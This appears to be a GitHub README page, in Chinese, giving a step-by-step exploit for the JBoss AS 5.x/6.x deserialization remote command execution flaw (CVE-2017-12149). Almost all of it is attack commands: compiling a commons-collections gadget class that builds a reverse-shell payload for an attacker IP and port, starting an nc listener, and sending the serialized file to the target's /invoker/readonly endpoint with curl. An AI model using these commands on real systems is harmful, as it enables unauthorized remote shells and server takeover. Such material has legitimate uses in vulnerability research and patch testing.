Skip to content

Latest commit

 

History

History
12 lines (9 loc) · 859 Bytes

File metadata and controls

12 lines (9 loc) · 859 Bytes

JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)

漏洞利用

1: javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件

3: 打开另外一个终端并且nc开始设置的反弹shell的IP

4: curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser